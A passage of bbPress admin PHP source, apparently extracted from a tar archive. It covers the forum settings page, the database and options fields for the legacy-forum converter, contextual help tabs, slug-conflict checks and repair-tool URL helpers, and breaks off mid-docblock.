	<p class="description"><?php esc_html_e( 'Changing this will not move existing forums.', 'bbpress' ); ?></p>

<?php
}

/** Akismet *******************************************************************/

/**
 * Extension settings section description for the settings page
 *
 * @since 2.1.0 bbPress (r3575)
 */
function bbp_admin_setting_callback_akismet_section() {
?>

	<p><?php esc_html_e( 'Forum settings for Akismet', 'bbpress' ); ?></p>

<?php
}


/**
 * Allow Akismet setting field
 *
 * @since 2.1.0 bbPress (r3575)
 */
function bbp_admin_setting_callback_akismet() {
?>

	<input name="_bbp_enable_akismet" id="_bbp_enable_akismet" type="checkbox" value="1" <?php checked( bbp_is_akismet_active( true ) ); bbp_maybe_admin_setting_disabled( '_bbp_enable_akismet' ); ?> />
	<label for="_bbp_enable_akismet"><?php esc_html_e( 'Allow Akismet to actively prevent forum spam.', 'bbpress' ); ?></label>

<?php
}

/** Settings Page *************************************************************/

/**
 * The main settings page
 *
 * @since 2.0.0 bbPress (r2643)
 */
function bbp_admin_settings() {
?>

	<div class="wrap">
		<h1 class="wp-heading-inline"><?php esc_html_e( 'Forums Settings', 'bbpress' ); ?></h1>
		<hr class="wp-header-end">

		<form action="options.php" method="post">

			<?php settings_fields( 'bbpress' ); ?>

			<?php do_settings_sections( 'bbpress' ); ?>

			<p class="submit">
				<input type="submit" name="submit" class="button-primary" value="<?php esc_attr_e( 'Save Changes', 'bbpress' ); ?>" />
			</p>
		</form>
	</div>

<?php
}

/** Converter Section *********************************************************/

/**
 * Main settings section description for the settings page
 *
 * @since 2.1.0 bbPress (r3813)
 */
function bbp_converter_setting_callback_main_section() {
?>

	<p><?php _e( 'Information about the database for your previous forums so they can be converted.', 'bbpress' ); ?></p>

<?php
}

/**
 * Edit Platform setting field
 *
 * @since 2.1.0 bbPress (r3813)
 */
function bbp_converter_setting_callback_platform() {

	// Converters
	$current    = get_option( '_bbp_converter_platform' );
	$converters = bbp_get_converters();
	$options    = '';

	// Put options together
	foreach ( $converters as $name => $file ) {
		$options .= '<option value="' . esc_attr( $name ) . '"' . selected( $name, $current, false ) . '>' . esc_html( $name ) . '</option>';
	} ?>

	<select name="_bbp_converter_platform" id="_bbp_converter_platform"><?php echo $options; ?></select>
	<p class="description"><?php esc_html_e( 'The previous forum software', 'bbpress' ); ?></p>

<?php
}

/**
 * Edit Database Server setting field
 *
 * @since 2.1.0 bbPress (r3813)
 */
function bbp_converter_setting_callback_dbserver() {
?>

	<input name="_bbp_converter_db_server" id="_bbp_converter_db_server" type="text" class="code" value="<?php bbp_form_option( '_bbp_converter_db_server', 'localhost' ); ?>" <?php bbp_maybe_admin_setting_disabled( '_bbp_converter_db_server' ); ?> />
	<p class="description"><?php printf( esc_html__( 'Use default %s if same server, or IP or hostname', 'bbpress' ), '<code>localhost</code>' ); ?></p>

<?php
}

/**
 * Edit Database Server Port setting field
 *
 * @since 2.1.0 bbPress (r3813)
 */
function bbp_converter_setting_callback_dbport() {
?>

	<input name="_bbp_converter_db_port" id="_bbp_converter_db_port" type="text" class="code" value="<?php bbp_form_option( '_bbp_converter_db_port', '3306' ); ?>" <?php bbp_maybe_admin_setting_disabled( '_bbp_converter_db_port' ); ?> />
	<p class="description"><?php printf( esc_html__( 'Use default %s if unsure', 'bbpress' ), '<code>3306</code>' ); ?></p>

<?php
}

/**
 * Edit Database User setting field
 *
 * @since 2.1.0 bbPress (r3813)
 */
function bbp_converter_setting_callback_dbuser() {
?>

	<input name="_bbp_converter_db_user" id="_bbp_converter_db_user" type="text" class="code" value="<?php bbp_form_option( '_bbp_converter_db_user' ); ?>" <?php bbp_maybe_admin_setting_disabled( '_bbp_converter_db_user' ); ?> />
	<p class="description"><?php esc_html_e( 'User to access the database', 'bbpress' ); ?></p>

<?php
}

/**
 * Edit Database Pass setting field
 *
 * @since 2.1.0 bbPress (r3813)
 */
function bbp_converter_setting_callback_dbpass() {
?>

	<span class="bbp-converter-db-password-wrapper">
		<input name="_bbp_converter_db_pass" id="_bbp_converter_db_pass" class="bbp-converter-db-pass code" type="password" value="<?php bbp_form_option( '_bbp_converter_db_pass' ); ?>" autocomplete="off" <?php bbp_maybe_admin_setting_disabled( '_bbp_converter_db_pass' ); ?> />
		<button type="button" class="bbp-db-pass-toggle password">
			<span class="screen-reader-text"><?php esc_html_e( 'Toggle', 'bbpress' ); ?></span>
			<span class="toggle-indicator" aria-hidden="true"></span>
		</button>
	</span>
	<p class="description"><?php esc_html_e( 'Password for the above database user', 'bbpress' ); ?></p>

<?php
}

/**
 * Edit Database Name setting field
 *
 * @since 2.1.0 bbPress (r3813)
 */
function bbp_converter_setting_callback_dbname() {
?>

	<input name="_bbp_converter_db_name" id="_bbp_converter_db_name" type="text" class="code" value="<?php bbp_form_option( '_bbp_converter_db_name' ); ?>" <?php bbp_maybe_admin_setting_disabled( '_bbp_converter_db_name' ); ?> />
	<p class="description"><?php esc_html_e( 'Name of the database with your old forum data', 'bbpress' ); ?></p>

<?php
}

/**
 * Main settings section description for the settings page
 *
 * @since 2.1.0 bbPress (r3813)
 */
function bbp_converter_setting_callback_options_section() {
?>

	<p><?php esc_html_e( 'Some optional parameters to help tune the conversion process.', 'bbpress' ); ?></p>

<?php
}

/**
 * Edit Table Prefix setting field
 *
 * @since 2.1.0 bbPress (r3813)
 */
function bbp_converter_setting_callback_dbprefix() {
?>

	<input name="_bbp_converter_db_prefix" id="_bbp_converter_db_prefix" type="text" class="code" value="<?php bbp_form_option( '_bbp_converter_db_prefix' ); ?>" <?php bbp_maybe_admin_setting_disabled( '_bbp_converter_db_prefix' ); ?> />
	<p class="description"><?php printf( esc_html__( 'Use %s if converting from BuddyPress Legacy', 'bbpress' ), '<code>wp_bb_</code>' ); ?></p>

<?php
}

/**
 * Edit Rows Limit setting field
 *
 * @since 2.1.0 bbPress (r3813)
 */
function bbp_converter_setting_callback_rows() {
?>

	<input name="_bbp_converter_rows" id="_bbp_converter_rows" type="number" min="1" max="5000" value="<?php bbp_form_option( '_bbp_converter_rows', '100' ); ?>" <?php bbp_maybe_admin_setting_disabled( '_bbp_converter_rows' ); ?> />
	<label for="_bbp_converter_rows"><?php esc_html_e( 'entry maximum when querying for data to convert', 'bbpress' ); ?></label>
	<p class="description"><?php esc_html_e( 'Keep this low if you experience out-of-memory issues.', 'bbpress' ); ?></p>

<?php
}

/**
 * Edit Delay Time setting field
 *
 * @since 2.1.0 bbPress (r3813)
 */
function bbp_converter_setting_callback_delay_time() {
?>

	<input name="_bbp_converter_delay_time" id="_bbp_converter_delay_time" type="number" min="2" max="3600" value="<?php bbp_form_option( '_bbp_converter_delay_time', '2' ); ?>" <?php bbp_maybe_admin_setting_disabled( '_bbp_converter_delay_time' ); ?> />
	<label for="_bbp_converter_delay_time"><?php esc_html_e( 'second delay between each query of rows above', 'bbpress' ); ?></label>
	<p class="description"><?php esc_html_e( 'Keep this high to prevent too-many-connection issues.', 'bbpress' ); ?></p>

<?php
}

/**
 * Edit Halt setting field
 *
 * @since 2.6.0 bbPress (r6599)
 */
function bbp_converter_setting_callback_halt() {
?>

	<input name="_bbp_converter_halt" id="_bbp_converter_halt" type="checkbox" value="1" <?php checked( get_option( '_bbp_converter_halt', false ) ); ?> />
	<label for="_bbp_converter_halt"><?php esc_html_e( 'Halt the conversion if an error occurs', 'bbpress' ); ?></label>
	<p class="description"><?php esc_html_e( 'This is helpful if you want to debug problems.', 'bbpress' ); ?></p>

<?php
}


/**
 * Edit Restart setting field
 *
 * @since 2.1.0 bbPress (r3813)
 */
function bbp_converter_setting_callback_restart() {
?>

	<input name="_bbp_converter_restart" id="_bbp_converter_restart" type="checkbox" value="1" <?php checked( get_option( '_bbp_converter_restart', false ) ); ?> />
	<label for="_bbp_converter_restart"><?php esc_html_e( 'Restart the converter from the beginning', 'bbpress' ); ?></label>
	<p class="description"><?php esc_html_e( 'This forces all steps back to 0. Avoid duplicate data by purging or resetting first.', 'bbpress' ); ?></p>

<?php
}

/**
 * Edit Clean setting field
 *
 * @since 2.1.0 bbPress (r3813)
 */
function bbp_converter_setting_callback_clean() {
?>

	<input name="_bbp_converter_clean" id="_bbp_converter_clean" type="checkbox" value="1" <?php checked( get_option( '_bbp_converter_clean', false ) ); ?> />
	<label for="_bbp_converter_clean"><?php esc_html_e( 'Purge all meta-data from a previous import', 'bbpress' ); ?></label>
	<p class="description"><?php esc_html_e( 'Use this if an import failed, or you just want to remove the relationship data.', 'bbpress' ); ?></p>

<?php
}

/**
 * Edit Convert Users setting field
 *
 * @since 2.1.0 bbPress (r3813)
 */
function bbp_converter_setting_callback_convert_users() {
?>

	<input name="_bbp_converter_convert_users" id="_bbp_converter_convert_users" type="checkbox" value="1" <?php checked( get_option( '_bbp_converter_convert_users', false ) ); ?> <?php bbp_maybe_admin_setting_disabled( '_bbp_converter_convert_users' ); ?> />
	<label for="_bbp_converter_convert_users"><?php esc_html_e( 'Import user accounts from previous forums', 'bbpress' ); ?></label>
	<p class="description"><?php esc_html_e( 'Passwords remain encrypted, and are converted as individual users log in.', 'bbpress' ); ?></p>

<?php
}

/** Converter Page ************************************************************/

/**
 * The main settings page
 *
 * @since 2.1.0 bbPress (r3186)
 */
function bbp_converter_settings_page() {

	// Status
	$step = (int) get_option( '_bbp_converter_step', 0 );
	$max  = (int) bbp_admin()->converter->max_steps;

	// Starting or continuing?
	$status_text = ! empty( $step )
		? sprintf( esc_html__( 'Up next: step %s', 'bbpress' ), $step )
		: esc_html__( 'Ready', 'bbpress' );

	// Starting or continuing?
	$start_text = ! empty( $step )
		? esc_html__( 'Resume', 'bbpress' )
		: esc_html__( 'Start',  'bbpress' );

	// Starting or continuing?
	$progress_text = ! empty( $step )
		? sprintf( esc_html__( 'Previously stopped at step %1$d of %2$d', 'bbpress' ), $step, $max )
		: esc_html__( 'Ready to go.', 'bbpress' ); ?>

	<div class="wrap">
		<h1 class="wp-heading-inline"><?php esc_html_e( 'Forum Tools', 'bbpress' ); ?></h1>
		<hr class="wp-header-end">
		<h2 class="nav-tab-wrapper"><?php bbp_tools_admin_tabs( 'bbp-converter' ); ?></h2>

		<div class="bbp-converter-wrap">
			<div id="poststuff" class="bbp-converter-monitor-wrap">
				<div id="post-body" class="metabox-holder columns-1">
					<div id="postbox-container-1" class="postbox-container">
						<div id="normal-sortables" class="meta-box-sortables ui-sortable">
							<div id="bbp-converter-monitor" class="postbox">
								<button type="button" class="handlediv" aria-expanded="true">
									<span class="screen-reader-text"><?php esc_html_e( 'Toggle panel: Import Status', 'bbpress' ); ?></span>
									<span class="toggle-indicator" aria-hidden="true"></span>
								</button>
								<h2 class="hndle ui-sortable-handle">
									<span><?php esc_html_e( 'Import Monitor', 'bbpress' ); ?></span>
									<span id="bbp-converter-status"><?php echo esc_html( $status_text ); ?></span>
									<span id="bbp-converter-step-percentage" class="bbp-progress-bar"></span>
									<span id="bbp-converter-total-percentage" class="bbp-progress-bar"></span>
								</h2>
								<div class="inside">
									<div id="bbp-converter-message" class="bbp-converter-log">
										<p><?php echo esc_html( $progress_text ); ?></p>
									</div>
								</div>
								<div class="actions">
									<input type="button" name="submit" class="button-primary" id="bbp-converter-start" value="<?php echo esc_attr( $start_text ); ?>" />
									<input type="button" name="submit" class="button-primary" id="bbp-converter-stop" value="<?php esc_attr_e( 'Pause', 'bbpress' ); ?>" />
									<span class="spinner" id="bbp-converter-spinner"></span>
								</div>
							</div>
						</div>
					</div>
				</div>
			</div>

			<form action="#" method="post" id="bbp-converter-settings" class="bbp-converter-settings-wrap"><?php

				// Fields
				settings_fields( 'converter' );

				// Sections
				do_settings_sections( 'converter' );

			?></form>
		</div>
	</div>
<?php
}

/** Helpers *******************************************************************/

/**
 * Contextual help for Forums settings page
 *
 * @since 2.0.0 bbPress (r3119)
 */
function bbp_admin_settings_help() {

	$current_screen = get_current_screen();

	// Bail if current screen could not be found
	if ( empty( $current_screen ) ) {
		return;
	}

	// Overview
	$current_screen->add_help_tab( array(
		'id'      => 'overview',
		'title'   => esc_html__( 'Overview', 'bbpress' ),
		'content' => '<p>' . esc_html__( 'This screen provides access to all of the Forums settings.',                          'bbpress' ) . '</p>' .
					 '<p>' . esc_html__( 'Please see the additional help tabs for more information on each individual section.', 'bbpress' ) . '</p>'
	) );

	// Main Settings
	$current_screen->add_help_tab( array(
		'id'      => 'main_settings',
		'title'   => esc_html__( 'Main Settings', 'bbpress' ),
		'content' => '<p>' . esc_html__( 'The "Main Settings" section includes a number of options:', 'bbpress' ) . '</p>' .
					 '<p>' .
						'<ul>' .
							'<li>' . esc_html__( 'You can choose to lock a post after a certain number of minutes. "Locking post editing" will prevent the author from editing some amount of time after saving a post.',              'bbpress' ) . '</li>' .
							'<li>' . esc_html__( '"Throttle time" is the amount of time required between posts from a single author. The higher the throttle time, the longer a user will need to wait between posting to the forum.', 'bbpress' ) . '</li>' .
							'<li>' . esc_html__( 'Favorites are a way for users to save and later return to topics they favor. This is enabled by default.',                                                                           'bbpress' ) . '</li>' .
							'<li>' . esc_html__( 'Subscriptions allow users to subscribe for notifications to topics that interest them. This is enabled by default.',                                                                 'bbpress' ) . '</li>' .
							'<li>' . esc_html__( 'Topic-Tags allow users to filter topics between forums. This is enabled by default.',                                                                                                'bbpress' ) . '</li>' .
							'<li>' . esc_html__( '"Anonymous Posting" allows guest users who do not have accounts on your site to both create topics as well as replies.',                                                             'bbpress' ) . '</li>' .
							'<li>' . esc_html__( 'The Fancy Editor brings the luxury of the Visual editor and HTML editor from the traditional WordPress dashboard into your theme.',                                                  'bbpress' ) . '</li>' .
							'<li>' . esc_html__( 'Auto-embed will embed the media content from a URL directly into the replies. For example: links to Flickr and YouTube.',                                                            'bbpress' ) . '</li>' .
						'</ul>' .
					'</p>' .
					'<p>' . esc_html__( 'You must click the Save Changes button at the bottom of the screen for new settings to take effect.', 'bbpress' ) . '</p>'
	) );

	// Theme Package
	$current_screen->add_help_tab( array(
		'id'      => 'theme_packages',
		'title'   => esc_html__( 'Theme Packages', 'bbpress' ),
		'content' => '<p>' . esc_html__( 'The "Theme Packages" section allows you to choose which theme package should be used.', 'bbpress' ) . '</p>' .
					 '<p>' .
						'<ul>' .
							'<li>' . esc_html__( 'The "bbPress Default" package is installed by default.',      'bbpress' ) . '</li>' .
							'<li>' . esc_html__( 'Some themes may choose to ignore this setting entirely.',     'bbpress' ) . '</li>' .
							'<li>' . esc_html__( 'Packages can be stacked to allow for intelligent fallbacks.', 'bbpress' ) . '</li>' .
						'</ul>' .
					'</p>'
	) );

	// Per Page
	$current_screen->add_help_tab( array(
		'id'      => 'per_page',
		'title'   => esc_html__( 'Per Page', 'bbpress' ),
		'content' => '<p>' . esc_html__( 'The "Per Page" section allows you to control the number of topics and replies appear on each page.',                                                    'bbpress' ) . '</p>' .
						'<ul>' .
							'<li>' . esc_html__( 'This is comparable to the WordPress "Reading Settings" page, where you can set the number of posts that should show on blog pages and in feeds.', 'bbpress' ) . '</li>' .
							'<li>' . esc_html__( 'These are broken up into two separate groups: one for what appears in your theme, another for RSS feeds.',                                        'bbpress' ) . '</li>' .
						'</ul>' .
					 '<p>'
	) );

	// Slugs
	$current_screen->add_help_tab( array(
		'id'      => 'slugs',
		'title'   => esc_html__( 'Slugs', 'bbpress' ),
		'content' => '<p>' . esc_html__( 'The "Slugs" section allows you to control the permalink structure for your forums.',                                                                                                            'bbpress' ) . '</p>' .
						'<ul>' .
							'<li>' . esc_html__( '"Archive Slugs" are used as the "root" for your forums and topics. If you combine these values with existing page slugs, bbPress will attempt to output the most correct title and content.', 'bbpress' ) . '</li>' .
							'<li>' . esc_html__( '"Single Slugs" are used as a prefix when viewing an individual forum, topic, reply, user, or view.',                                                                                          'bbpress' ) . '</li>' .
							'<li>' . esc_html__( 'In the event of a slug collision with WordPress or BuddyPress, a warning will appear next to the problem slug(s).', 'bbpress' ) . '</li>' .
						'</ul>' .
					 '<p>'
	) );

	// Help Sidebar
	$current_screen->set_help_sidebar(
		'<p><strong>' . esc_html__( 'For more information:', 'bbpress' ) . '</strong></p>' .
		'<p>' . __( '<a href="https://codex.bbpress.org" target="_blank">bbPress Documentation</a>',    'bbpress' ) . '</p>' .
		'<p>' . __( '<a href="https://bbpress.org/forums/" target="_blank">bbPress Support Forums</a>', 'bbpress' ) . '</p>'
	);
}

/**
 * Disable a settings field if it is forcibly set in the global options array.
 *
 * @since 2.2.0 bbPress (r4347)
 *
 * @param string $option_key
 */
function bbp_maybe_admin_setting_disabled( $option_key = '' ) {
	disabled( isset( bbpress()->options[ $option_key ] ) );
}

/**
 * Output settings API option
 *
 * @since 2.0.0 bbPress (r3203)
 *
 * @param string $option
 * @param string $default
 * @param bool $slug
 */
function bbp_form_option( $option, $default = '', $slug = false ) {
	echo bbp_get_form_option( $option, $default, $slug );
}
	/**
	 * Return settings API option
	 *
	 * @since 2.0.0 bbPress (r3203)
	 *
	 * @param string $option
	 * @param string $default
	 * @param bool   $is_slug
	 *
	 * @return mixed
	 */
	function bbp_get_form_option( $option, $default = '', $is_slug = false ) {

		// Get the option and sanitize it
		$value = get_option( $option, $default );

		// Slug?
		if ( true === $is_slug ) {
			$value = esc_attr( apply_filters( 'editable_slug', $value ) );

		// Not a slug
		} else {
			$value = esc_attr( $value );
		}

		// Fallback to default
		if ( empty( $value ) ) {
			$value = $default;
		}

		// Filter & return
		return apply_filters( 'bbp_get_form_option', $value, $option, $default, $is_slug );
	}

/**
 * Used to check if a bbPress slug conflicts with an existing known slug.
 *
 * @since 2.0.0 bbPress (r3306)
 *
 * @param string $slug
 * @param string $default
 */
function bbp_form_slug_conflict_check( $slug, $default ) {

	// Only set the slugs once ver page load
	static $the_core_slugs = array();

	// Get the form value
	$this_slug = bbp_get_form_option( $slug, $default, true );

	if ( empty( $the_core_slugs ) ) {

		// Slugs to check
		$core_slugs = apply_filters( 'bbp_slug_conflict_check', array(

			/** WordPress Core ****************************************************/

			// Core Post Types
			'post_base'       => array( 'name' => esc_html__( 'Posts',         'bbpress' ), 'default' => 'post',          'context' => 'WordPress' ),
			'page_base'       => array( 'name' => esc_html__( 'Pages',         'bbpress' ), 'default' => 'page',          'context' => 'WordPress' ),
			'revision_base'   => array( 'name' => esc_html__( 'Revisions',     'bbpress' ), 'default' => 'revision',      'context' => 'WordPress' ),
			'attachment_base' => array( 'name' => esc_html__( 'Attachments',   'bbpress' ), 'default' => 'attachment',    'context' => 'WordPress' ),
			'nav_menu_base'   => array( 'name' => esc_html__( 'Menus',         'bbpress' ), 'default' => 'nav_menu_item', 'context' => 'WordPress' ),

			// Post Tags
			'tag_base'        => array( 'name' => esc_html__( 'Tag base',      'bbpress' ), 'default' => 'tag',           'context' => 'WordPress' ),

			// Post Categories
			'category_base'   => array( 'name' => esc_html__( 'Category base', 'bbpress' ), 'default' => 'category',      'context' => 'WordPress' ),

			/** bbPress Core ******************************************************/

			// Forum archive slug
			'_bbp_root_slug'          => array( 'name' => esc_html__( 'Forums base', 'bbpress' ), 'default' => 'forums', 'context' => 'bbPress' ),

			// Topic archive slug
			'_bbp_topic_archive_slug' => array( 'name' => esc_html__( 'Topics base', 'bbpress' ), 'default' => 'topics', 'context' => 'bbPress' ),

			// Forum slug
			'_bbp_forum_slug'         => array( 'name' => esc_html__( 'Forum slug',  'bbpress' ), 'default' => 'forum',  'context' => 'bbPress' ),

			// Topic slug
			'_bbp_topic_slug'         => array( 'name' => esc_html__( 'Topic slug',  'bbpress' ), 'default' => 'topic',  'context' => 'bbPress' ),

			// Reply slug
			'_bbp_reply_slug'         => array( 'name' => esc_html__( 'Reply slug',  'bbpress' ), 'default' => 'reply',  'context' => 'bbPress' ),

			// Edit slug
			'_bbp_edit_slug'          => array( 'name' => esc_html__( 'Edit slug',   'bbpress' ), 'default' => 'edit',   'context' => 'bbPress' ),

			// User profile slug
			'_bbp_user_slug'          => array( 'name' => esc_html__( 'User base',   'bbpress' ), 'default' => 'users',  'context' => 'bbPress' ),

			// View slug
			'_bbp_view_slug'          => array( 'name' => esc_html__( 'View base',   'bbpress' ), 'default' => 'view',   'context' => 'bbPress' ),

			// Topic tag slug
			'_bbp_topic_tag_slug'     => array( 'name' => esc_html__( 'Topic tag slug', 'bbpress' ), 'default' => 'topic-tag', 'context' => 'bbPress' ),
		) );

		/** BuddyPress Core *******************************************************/

		if ( defined( 'BP_VERSION' ) ) {
			$bp = buddypress();

			// Loop through root slugs and check for conflict
			if ( ! empty( $bp->pages ) ) {
				foreach ( $bp->pages as $page => $page_data ) {
					$page_base    = $page . '_base';
					$page_title   = sprintf( esc_html__( '%s page', 'bbpress' ), $page_data->title );
					$core_slugs[ $page_base ] = array(
						'name'    => $page_title,
						'default' => $page_data->slug,
						'context' => 'BuddyPress'
					);
				}
			}
		}

		// Set the static
		$the_core_slugs = apply_filters( 'bbp_slug_conflict', $core_slugs );
	}

	// Loop through slugs to check
	foreach ( $the_core_slugs as $key => $value ) {

		// Get the slug
		$slug_check = bbp_get_form_option( $key, $value['default'], true );

		// Compare
		if ( ( $slug !== $key ) && ( $slug_check === $this_slug ) ) : ?>

			<span class="attention"><?php printf( esc_html__( 'Possible %1$s conflict: %2$s', 'bbpress' ), $value['context'], '<strong>' . $value['name'] . '</strong>' ); ?></span>

		<?php endif;
	}
}
includes/admin/tools/converter.php000066600000004266151771460310013343 0ustar00<?php

/**
 * bbPress Converter
 *
 * Based on the hard work of Adam Ellis
 *
 * @package bbPress
 * @subpackage Administration
 */

// Exit if accessed directly
defined( 'ABSPATH' ) || exit;

/**
 * Return an array of available converters
 *
 * @since 2.6.0 bbPress (r6447)
 *
 * @return array
 */
function bbp_get_converters() {
	static $files = array();

	// Only hit the file system one time per page load
	if ( empty( $files ) ) {

		// Open the converter directory
		$path   = bbp_setup_converter()->converters_dir;
		$curdir = opendir( $path );

		// Look for the converter file in the converters directory
		if ( false !== $curdir ) {
			while ( $file = readdir( $curdir ) ) {
				if ( stristr( $file, '.php' ) && stristr( $file, 'index' ) === false ) {
					$name = preg_replace( '/.php/', '', $file );
					if ( 'Example' !== $name ) {
						$files[ $name ] = $path . $file;
					}
				}
			}
		}

		// Close the directory
		closedir( $curdir );

		// Sort keys alphabetically, ignoring upper/lower casing
		if ( ! empty( $files ) ) {
			natcasesort( $files );
		}
	}

	// Filter & return
	return (array) apply_filters( 'bbp_get_converters', $files );
}

/**
 * This is a function that is purposely written to look like a "new" statement.
 * It is basically a dynamic loader that will load in the platform conversion
 * of your choice.
 *
 * @since 2.0.0
 *
 * @param string $platform Name of valid platform class.
 *
 * @return mixed Object if converter exists, null if not
 */
function bbp_new_converter( $platform = '' ) {

	// Default converter
	$converter = null;

	// Bail if no platform
	if ( empty( $platform ) ) {
		return $converter;
	}

	// Get the available converters
	$converters = bbp_get_converters();

	// Get the converter file form converters array
	$converter_file = isset( $converters[ $platform ] )
		? $converters[ $platform ]
		: '';

	// Try to create a new converter object
	if ( ! empty( $converter_file ) ) {

		// Try to include the converter
		@include_once $converter_file;

		// Try to instantiate the converter object
		if ( class_exists( $platform ) ) {
			$converter = new $platform();
		}
	}

	// Filter & return
	return apply_filters( 'bbp_new_converter', $converter, $platform );
}
includes/admin/tools/help.php000066600000013633151771460310012262 0ustar00<?php

/**
 * bbPress Admin Tools Help
 *
 * @package bbPress
 * @subpackage Administration
 */

// Exit if accessed directly
defined( 'ABSPATH' ) || exit;

/**
 * Contextual help for Repair Forums tools page
 *
 * @since 2.6.0 bbPress (r5314)
 */
function bbp_admin_tools_repair_help() {

	$current_screen = get_current_screen();

	// Bail if current screen could not be found
	if ( empty( $current_screen ) ) {
		return;
	}

	// Repair Forums
	$current_screen->add_help_tab( array(
		'id'      => 'repair_forums',
		'title'   => __( 'Repair Forums', 'bbpress' ),
		'content' => '<p>' . __( 'There is more detailed information available on the bbPress and BuddyPress codex for the following:', 'bbpress' ) . '</p>' .
					 '<p>' .
						'<ul>' .
							'<li>' . __( 'BuddyPress Group Forums: <a href="https://codex.buddypress.org/getting-started/installing-group-and-sitewide-forums/">Installing Group and Sitewide Forums</a> and <a href="https://codex.buddypress.org/getting-started/guides/migrating-from-old-forums-to-bbpress-2/">Migrating from old forums to bbPress 2.2+</a>.', 'bbpress' ) . '</li>' .
							'<li>' . __( 'bbPress roles: <a href="https://codex.bbpress.org/bbpress-user-roles-and-capabilities/" target="_blank">bbPress User Roles and Capabilities</a>',                                                                                                                                                                        'bbpress' ) . '</li>' .
						'</ul>' .
					'</p>' .
					'<p>' . __( 'Also see <a href="https://codex.bbpress.org/repair-forums/">bbPress: Repair Forums</a>.', 'bbpress' ) . '</p>'
	) );

	// Help Sidebar
	$current_screen->set_help_sidebar(
		'<p><strong>' . __( 'For more information:', 'bbpress' ) . '</strong></p>' .
		'<p>' . __( '<a href="https://codex.bbpress.org" target="_blank">bbPress Documentation</a>',    'bbpress' ) . '</p>' .
		'<p>' . __( '<a href="https://bbpress.org/forums/" target="_blank">bbPress Support Forums</a>', 'bbpress' ) . '</p>'
	);
}

/**
 * Contextual help for Reset Forums tools page
 *
 * @since 2.6.0 bbPress (r5314)
 */
function bbp_admin_tools_reset_help() {

	$current_screen = get_current_screen();

	// Bail if current screen could not be found
	if ( empty( $current_screen ) ) {
		return;
	}

	// Reset Forums
	$current_screen->add_help_tab( array(
		'id'      => 'reset_forums',
		'title'   => __( 'Reset Forums', 'bbpress' ),
		'content' => '<p>' . __( 'Also see <a href="https://codex.bbpress.org/reset-forums/">bbPress: Reset Forums</a>.', 'bbpress' ) . '</p>'
	) );

	// Help Sidebar
	$current_screen->set_help_sidebar(
		'<p><strong>' . __( 'For more information:', 'bbpress' ) . '</strong></p>' .
		'<p>' . __( '<a href="https://codex.bbpress.org" target="_blank">bbPress Documentation</a>',    'bbpress' ) . '</p>' .
		'<p>' . __( '<a href="https://bbpress.org/forums/" target="_blank">bbPress Support Forums</a>', 'bbpress' ) . '</p>'
	);
}

/**
 * Contextual help for Import Forums tools page
 *
 * @since 2.6.0 bbPress (r5314)
 */
function bbp_admin_tools_converter_help() {

	$current_screen = get_current_screen();

	// Bail if current screen could not be found
	if ( empty( $current_screen ) ) {
		return;
	}

	// Overview
	$current_screen->add_help_tab( array(
		'id'      => 'overview',
		'title'   => __( 'Overview', 'bbpress' ),
		'content' => '<p>' . __( 'This screen provides access to all of the bbPress Import Forums settings and resources.',                                      'bbpress' ) . '</p>' .
					 '<p>' . __( 'Please see the additional help tabs for more information on each individual section.',                                         'bbpress' ) . '</p>' .
					 '<p>' . __( 'Also see the main article on the bbPress codex <a href="https://codex.bbpress.org/import-forums/">bbPress: Import Forums</a>.', 'bbpress' ) . '</p>'
	) );

	// Database Settings
	$current_screen->add_help_tab( array(
		'id'      => 'database_settings',
		'title'   => __( 'Database Settings', 'bbpress' ),
		'content' => '<p>' . __( 'In the Database Settings you have a number of options:', 'bbpress' ) . '</p>' .
					 '<p>' .
						'<ul>' .
							'<li>' . __( 'The settings in this section refer to the database connection strings used by your old forum software. The best way to determine the exact settings you need is to copy them from your legacy forums configuration file or contact your web hosting provider.', 'bbpress' ) . '</li>' .
						'</ul>' .
					'</p>'
	) );

	// Importer Options
	$current_screen->add_help_tab( array(
		'id'      => 'importer_options',
		'title'   => __( 'Importer Options', 'bbpress' ),
		'content' => '<p>' . __( 'In the Options you have a number of options:', 'bbpress' ) . '</p>' .
					 '<p>' .
						'<ul>' .
							'<li>' . __( 'Depending on your MySQL configuration you can tweak the "Rows Limit" and "Delay Time" that may help to improve the overall time it takes to perform a complete forum import.', 'bbpress' ) . '</li>' .
							'<li>' . __( '"Convert Users" will import your legacy forum members as WordPress Users.',                                                                                                    'bbpress' ) . '</li>' .
							'<li>' . __( '"Start Over" will start the importer fresh, if your import failed for any reason leaving this setting unchecked the importer will begin from where it left off.',              'bbpress' ) . '</li>' .
							'<li>' . __( '"Purge Previous Import" will remove data imported from a failed import without removing your existing forum data.',                                                            'bbpress' ) . '</li>' .
						'</ul>' .
					'</p>'
	) );

	// Help Sidebar
	$current_screen->set_help_sidebar(
		'<p><strong>' . __( 'For more information:', 'bbpress' ) . '</strong></p>' .
		'<p>' . __( '<a href="https://codex.bbpress.org" target="_blank">bbPress Documentation</a>',    'bbpress' ) . '</p>' .
		'<p>' . __( '<a href="https://bbpress.org/forums/" target="_blank">bbPress Support Forums</a>', 'bbpress' ) . '</p>'
	);
}
includes/admin/tools/common.php000066600000055264151771460310012630 0ustar00<?php

/**
 * bbPress Admin Tools Common
 *
 * @package bbPress
 * @subpackage Administration
 */

// Exit if accessed directly
defined( 'ABSPATH' ) || exit;

/**
 * Return the current admin repair tool page
 *
 * @since 2.6.0 bbPress (r6894)
 *
 * @return string
 */
function bbp_get_admin_repair_tool_page() {
	return sanitize_key( $_GET['page'] );
}

/**
 * Return the current admin repair tool page ID
 *
 * @since 2.6.0 bbPress (r6894)
 *
 * @return string
 */
function bbp_get_admin_repair_tool_page_id() {

	// Get the page
	$page = bbp_get_admin_repair_tool_page();

	// Maybe trim prefix off of page
	if ( ! empty( $page ) && ( 0 === strpos( $page, 'bbp-' ) ) ) {
		$page = str_replace( 'bbp-', '', $page );
	} else {
		$page = '';
	}

	return $page;
}

/**
 * Return a URL to the repair tool page
 *
 * @since 2.6.0 bbPress (r6894)
 *
 * @param array $args
 *
 * @return string
 */
function bbp_get_admin_repair_tool_page_url( $args = array() ) {

	// Parse arguments
	$r = wp_parse_args( $args, array(
		'page' => bbp_get_admin_repair_tool_page()
	) );

	return add_query_arg( $r, admin_url( 'tools.php' ) );
}

/**
 * Output the URL to run a specific repair tool
 *
 * @since 2.6.0 bbPress (r5885)
 *
 * @param string $component
 */
function bbp_admin_repair_tool_run_url( $component = array() ) {
	echo esc_url( bbp_get_admin_repair_tool_run_url( $component ) );
}

	/**
	 * Return the URL to run a specific repair tool
	 *
	 * @since 2.6.0 bbPress (r5885)
